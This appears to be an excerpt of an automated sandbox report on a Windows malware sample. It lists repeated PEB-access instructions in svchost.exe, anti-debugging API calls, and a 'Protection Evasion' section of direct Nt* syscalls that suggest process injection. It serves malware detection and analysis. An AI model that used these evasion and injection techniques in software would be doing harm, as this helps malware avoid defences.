Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376E443 mov eax, dword ptr fs:[00000030h]	8_2_0376E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376E443 mov eax, dword ptr fs:[00000030h]	8_2_0376E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376A430 mov eax, dword ptr fs:[00000030h]	8_2_0376A430
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0372E420 mov eax, dword ptr fs:[00000030h]	8_2_0372E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0372E420 mov eax, dword ptr fs:[00000030h]	8_2_0372E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0372E420 mov eax, dword ptr fs:[00000030h]	8_2_0372E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0372C427 mov eax, dword ptr fs:[00000030h]	8_2_0372C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B6420 mov eax, dword ptr fs:[00000030h]	8_2_037B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B6420 mov eax, dword ptr fs:[00000030h]	8_2_037B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B6420 mov eax, dword ptr fs:[00000030h]	8_2_037B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B6420 mov eax, dword ptr fs:[00000030h]	8_2_037B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B6420 mov eax, dword ptr fs:[00000030h]	8_2_037B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B6420 mov eax, dword ptr fs:[00000030h]	8_2_037B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B6420 mov eax, dword ptr fs:[00000030h]	8_2_037B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03768402 mov eax, dword ptr fs:[00000030h]	8_2_03768402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03768402 mov eax, dword ptr fs:[00000030h]	8_2_03768402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03768402 mov eax, dword ptr fs:[00000030h]	8_2_03768402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037304E5 mov ecx, dword ptr fs:[00000030h]	8_2_037304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037644B0 mov ecx, dword ptr fs:[00000030h]	8_2_037644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037BA4B0 mov eax, dword ptr fs:[00000030h]	8_2_037BA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037364AB mov eax, dword ptr fs:[00000030h]	8_2_037364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0372CB7E mov eax, dword ptr fs:[00000030h]	8_2_0372CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037DEB50 mov eax, dword ptr fs:[00000030h]	8_2_037DEB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037E4B4B mov eax, dword ptr fs:[00000030h]	8_2_037E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037E4B4B mov eax, dword ptr fs:[00000030h]	8_2_037E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037C6B40 mov eax, dword ptr fs:[00000030h]	8_2_037C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037C6B40 mov eax, dword ptr fs:[00000030h]	8_2_037C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037FAB40 mov eax, dword ptr fs:[00000030h]	8_2_037FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037D8B42 mov eax, dword ptr fs:[00000030h]	8_2_037D8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0375EB20 mov eax, dword ptr fs:[00000030h]	8_2_0375EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0375EB20 mov eax, dword ptr fs:[00000030h]	8_2_0375EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037F8B28 mov eax, dword ptr fs:[00000030h]	8_2_037F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037F8B28 mov eax, dword ptr fs:[00000030h]	8_2_037F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037AEB1D mov eax, dword ptr fs:[00000030h]	8_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037AEB1D mov eax, dword ptr fs:[00000030h]	8_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037AEB1D mov eax, dword ptr fs:[00000030h]	8_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037AEB1D mov eax, dword ptr fs:[00000030h]	8_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037AEB1D mov eax, dword ptr fs:[00000030h]	8_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037AEB1D mov eax, dword ptr fs:[00000030h]	8_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037AEB1D mov eax, dword ptr fs:[00000030h]	8_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037AEB1D mov eax, dword ptr fs:[00000030h]	8_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037AEB1D mov eax, dword ptr fs:[00000030h]	8_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03738BF0 mov eax, dword ptr fs:[00000030h]	8_2_03738BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03738BF0 mov eax, dword ptr fs:[00000030h]	8_2_03738BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03738BF0 mov eax, dword ptr fs:[00000030h]	8_2_03738BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0375EBFC mov eax, dword ptr fs:[00000030h]	8_2_0375EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037BCBF0 mov eax, dword ptr fs:[00000030h]	8_2_037BCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037DEBD0 mov eax, dword ptr fs:[00000030h]	8_2_037DEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03750BCB mov eax, dword ptr fs:[00000030h]	8_2_03750BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03750BCB mov eax, dword ptr fs:[00000030h]	8_2_03750BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03750BCB mov eax, dword ptr fs:[00000030h]	8_2_03750BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03730BCD mov eax, dword ptr fs:[00000030h]	8_2_03730BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03730BCD mov eax, dword ptr fs:[00000030h]	8_2_03730BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03730BCD mov eax, dword ptr fs:[00000030h]	8_2_03730BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03740BBE mov eax, dword ptr fs:[00000030h]	8_2_03740BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03740BBE mov eax, dword ptr fs:[00000030h]	8_2_03740BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037E4BB0 mov eax, dword ptr fs:[00000030h]	8_2_037E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037E4BB0 mov eax, dword ptr fs:[00000030h]	8_2_037E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03804A80 mov eax, dword ptr fs:[00000030h]	8_2_03804A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037ACA72 mov eax, dword ptr fs:[00000030h]	8_2_037ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037ACA72 mov eax, dword ptr fs:[00000030h]	8_2_037ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376CA6F mov eax, dword ptr fs:[00000030h]	8_2_0376CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376CA6F mov eax, dword ptr fs:[00000030h]	8_2_0376CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376CA6F mov eax, dword ptr fs:[00000030h]	8_2_0376CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037DEA60 mov eax, dword ptr fs:[00000030h]	8_2_037DEA60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03736A50 mov eax, dword ptr fs:[00000030h]	8_2_03736A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03736A50 mov eax, dword ptr fs:[00000030h]	8_2_03736A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03736A50 mov eax, dword ptr fs:[00000030h]	8_2_03736A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03736A50 mov eax, dword ptr fs:[00000030h]	8_2_03736A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03736A50 mov eax, dword ptr fs:[00000030h]	8_2_03736A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03736A50 mov eax, dword ptr fs:[00000030h]	8_2_03736A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03736A50 mov eax, dword ptr fs:[00000030h]	8_2_03736A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03740A5B mov eax, dword ptr fs:[00000030h]	8_2_03740A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03740A5B mov eax, dword ptr fs:[00000030h]	8_2_03740A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03754A35 mov eax, dword ptr fs:[00000030h]	8_2_03754A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03754A35 mov eax, dword ptr fs:[00000030h]	8_2_03754A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376CA38 mov eax, dword ptr fs:[00000030h]	8_2_0376CA38
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376CA24 mov eax, dword ptr fs:[00000030h]	8_2_0376CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0375EA2E mov eax, dword ptr fs:[00000030h]	8_2_0375EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037BCA11 mov eax, dword ptr fs:[00000030h]	8_2_037BCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376AAEE mov eax, dword ptr fs:[00000030h]	8_2_0376AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376AAEE mov eax, dword ptr fs:[00000030h]	8_2_0376AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03730AD0 mov eax, dword ptr fs:[00000030h]	8_2_03730AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03764AD0 mov eax, dword ptr fs:[00000030h]	8_2_03764AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03764AD0 mov eax, dword ptr fs:[00000030h]	8_2_03764AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03786ACC mov eax, dword ptr fs:[00000030h]	8_2_03786ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03786ACC mov eax, dword ptr fs:[00000030h]	8_2_03786ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03786ACC mov eax, dword ptr fs:[00000030h]	8_2_03786ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03738AA0 mov eax, dword ptr fs:[00000030h]	8_2_03738AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03738AA0 mov eax, dword ptr fs:[00000030h]	8_2_03738AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03786AA4 mov eax, dword ptr fs:[00000030h]	8_2_03786AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03768A90 mov edx, dword ptr fs:[00000030h]	8_2_03768A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0373EA80 mov eax, dword ptr fs:[00000030h]	8_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0373EA80 mov eax, dword ptr fs:[00000030h]	8_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0373EA80 mov eax, dword ptr fs:[00000030h]	8_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0373EA80 mov eax, dword ptr fs:[00000030h]	8_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0373EA80 mov eax, dword ptr fs:[00000030h]	8_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0373EA80 mov eax, dword ptr fs:[00000030h]	8_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0373EA80 mov eax, dword ptr fs:[00000030h]	8_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0373EA80 mov eax, dword ptr fs:[00000030h]	8_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0373EA80 mov eax, dword ptr fs:[00000030h]	8_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037D4978 mov eax, dword ptr fs:[00000030h]	8_2_037D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037D4978 mov eax, dword ptr fs:[00000030h]	8_2_037D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037BC97C mov eax, dword ptr fs:[00000030h]	8_2_037BC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03756962 mov eax, dword ptr fs:[00000030h]	8_2_03756962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03756962 mov eax, dword ptr fs:[00000030h]	8_2_03756962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03756962 mov eax, dword ptr fs:[00000030h]	8_2_03756962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0377096E mov eax, dword ptr fs:[00000030h]	8_2_0377096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0377096E mov edx, dword ptr fs:[00000030h]	8_2_0377096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0377096E mov eax, dword ptr fs:[00000030h]	8_2_0377096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B0946 mov eax, dword ptr fs:[00000030h]	8_2_037B0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B892A mov eax, dword ptr fs:[00000030h]	8_2_037B892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037C892B mov eax, dword ptr fs:[00000030h]	8_2_037C892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037BC912 mov eax, dword ptr fs:[00000030h]	8_2_037BC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03728918 mov eax, dword ptr fs:[00000030h]	8_2_03728918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03728918 mov eax, dword ptr fs:[00000030h]	8_2_03728918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037AE908 mov eax, dword ptr fs:[00000030h]	8_2_037AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037AE908 mov eax, dword ptr fs:[00000030h]	8_2_037AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037629F9 mov eax, dword ptr fs:[00000030h]	8_2_037629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037629F9 mov eax, dword ptr fs:[00000030h]	8_2_037629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037BE9E0 mov eax, dword ptr fs:[00000030h]	8_2_037BE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0373A9D0 mov eax, dword ptr fs:[00000030h]	8_2_0373A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0373A9D0 mov eax, dword ptr fs:[00000030h]	8_2_0373A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0373A9D0 mov eax, dword ptr fs:[00000030h]	8_2_0373A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0373A9D0 mov eax, dword ptr fs:[00000030h]	8_2_0373A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0373A9D0 mov eax, dword ptr fs:[00000030h]	8_2_0373A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0373A9D0 mov eax, dword ptr fs:[00000030h]	8_2_0373A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037649D0 mov eax, dword ptr fs:[00000030h]	8_2_037649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037FA9D3 mov eax, dword ptr fs:[00000030h]	8_2_037FA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037C69C0 mov eax, dword ptr fs:[00000030h]	8_2_037C69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B89B3 mov esi, dword ptr fs:[00000030h]	8_2_037B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B89B3 mov eax, dword ptr fs:[00000030h]	8_2_037B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B89B3 mov eax, dword ptr fs:[00000030h]	8_2_037B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037429A0 mov eax, dword ptr fs:[00000030h]	8_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037429A0 mov eax, dword ptr fs:[00000030h]	8_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037429A0 mov eax, dword ptr fs:[00000030h]	8_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037429A0 mov eax, dword ptr fs:[00000030h]	8_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037429A0 mov eax, dword ptr fs:[00000030h]	8_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037429A0 mov eax, dword ptr fs:[00000030h]	8_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037429A0 mov eax, dword ptr fs:[00000030h]	8_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037429A0 mov eax, dword ptr fs:[00000030h]	8_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037429A0 mov eax, dword ptr fs:[00000030h]	8_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037429A0 mov eax, dword ptr fs:[00000030h]	8_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037429A0 mov eax, dword ptr fs:[00000030h]	8_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037429A0 mov eax, dword ptr fs:[00000030h]	8_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037429A0 mov eax, dword ptr fs:[00000030h]	8_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037309AD mov eax, dword ptr fs:[00000030h]	8_2_037309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037309AD mov eax, dword ptr fs:[00000030h]	8_2_037309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037BE872 mov eax, dword ptr fs:[00000030h]	8_2_037BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037BE872 mov eax, dword ptr fs:[00000030h]	8_2_037BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037C6870 mov eax, dword ptr fs:[00000030h]	8_2_037C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037C6870 mov eax, dword ptr fs:[00000030h]	8_2_037C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03760854 mov eax, dword ptr fs:[00000030h]	8_2_03760854
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03734859 mov eax, dword ptr fs:[00000030h]	8_2_03734859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03734859 mov eax, dword ptr fs:[00000030h]	8_2_03734859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03742840 mov ecx, dword ptr fs:[00000030h]	8_2_03742840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03752835 mov eax, dword ptr fs:[00000030h]	8_2_03752835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03752835 mov eax, dword ptr fs:[00000030h]	8_2_03752835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03752835 mov eax, dword ptr fs:[00000030h]	8_2_03752835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03752835 mov ecx, dword ptr fs:[00000030h]	8_2_03752835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03752835 mov eax, dword ptr fs:[00000030h]	8_2_03752835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03752835 mov eax, dword ptr fs:[00000030h]	8_2_03752835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376A830 mov eax, dword ptr fs:[00000030h]	8_2_0376A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037D483A mov eax, dword ptr fs:[00000030h]	8_2_037D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037D483A mov eax, dword ptr fs:[00000030h]	8_2_037D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037BC810 mov eax, dword ptr fs:[00000030h]	8_2_037BC810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376C8F9 mov eax, dword ptr fs:[00000030h]	8_2_0376C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376C8F9 mov eax, dword ptr fs:[00000030h]	8_2_0376C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037FA8E4 mov eax, dword ptr fs:[00000030h]	8_2_037FA8E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0375E8C0 mov eax, dword ptr fs:[00000030h]	8_2_0375E8C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037BC89D mov eax, dword ptr fs:[00000030h]	8_2_037BC89D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03730887 mov eax, dword ptr fs:[00000030h]	8_2_03730887
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0375AF69 mov eax, dword ptr fs:[00000030h]	8_2_0375AF69
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0375AF69 mov eax, dword ptr fs:[00000030h]	8_2_0375AF69
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037D2F60 mov eax, dword ptr fs:[00000030h]	8_2_037D2F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037D2F60 mov eax, dword ptr fs:[00000030h]	8_2_037D2F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0372CF50 mov eax, dword ptr fs:[00000030h]	8_2_0372CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0372CF50 mov eax, dword ptr fs:[00000030h]	8_2_0372CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0372CF50 mov eax, dword ptr fs:[00000030h]	8_2_0372CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0372CF50 mov eax, dword ptr fs:[00000030h]	8_2_0372CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0372CF50 mov eax, dword ptr fs:[00000030h]	8_2_0372CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0372CF50 mov eax, dword ptr fs:[00000030h]	8_2_0372CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376CF50 mov eax, dword ptr fs:[00000030h]	8_2_0376CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037D0F50 mov eax, dword ptr fs:[00000030h]	8_2_037D0F50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B4F40 mov eax, dword ptr fs:[00000030h]	8_2_037B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B4F40 mov eax, dword ptr fs:[00000030h]	8_2_037B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B4F40 mov eax, dword ptr fs:[00000030h]	8_2_037B4F40

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Code function: 0_2_004238DA __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

0_2_004238DA

Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_0041F250 SetUnhandledExceptionFilter,	0_2_0041F250
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_0041A208 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0041A208
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_00417DAA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00417DAA

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtQueryVolumeInformationFile: Direct from: 0x76F12F2C	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtQuerySystemInformation: Direct from: 0x76F148CC	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtAllocateVirtualMemory: Direct from: 0x76F148EC	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtQueryAttributesFile: Direct from: 0x76F12E6C	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtReadVirtualMemory: Direct from: 0x76F12E8C	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtCreateKey: Direct from: 0x76F12C6C	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtSetInformationThread: Direct from: 0x76F12B4C	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtClose: Direct from: 0x76F12B6C
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtAllocateVirtualMemory: Direct from: 0x76F13C9C	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtWriteVirtualMemory: Direct from: 0x76F1490C	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtCreateUserProcess: Direct from: 0x76F1371C	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtTerminateThread: Direct from: 0x76F12FCC	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtCreateFile: Direct from: 0x76F12FEC	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtOpenFile: Direct from: 0x76F12DCC	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtQueryInformationToken: Direct from: 0x76F12CAC	Jump to behavior
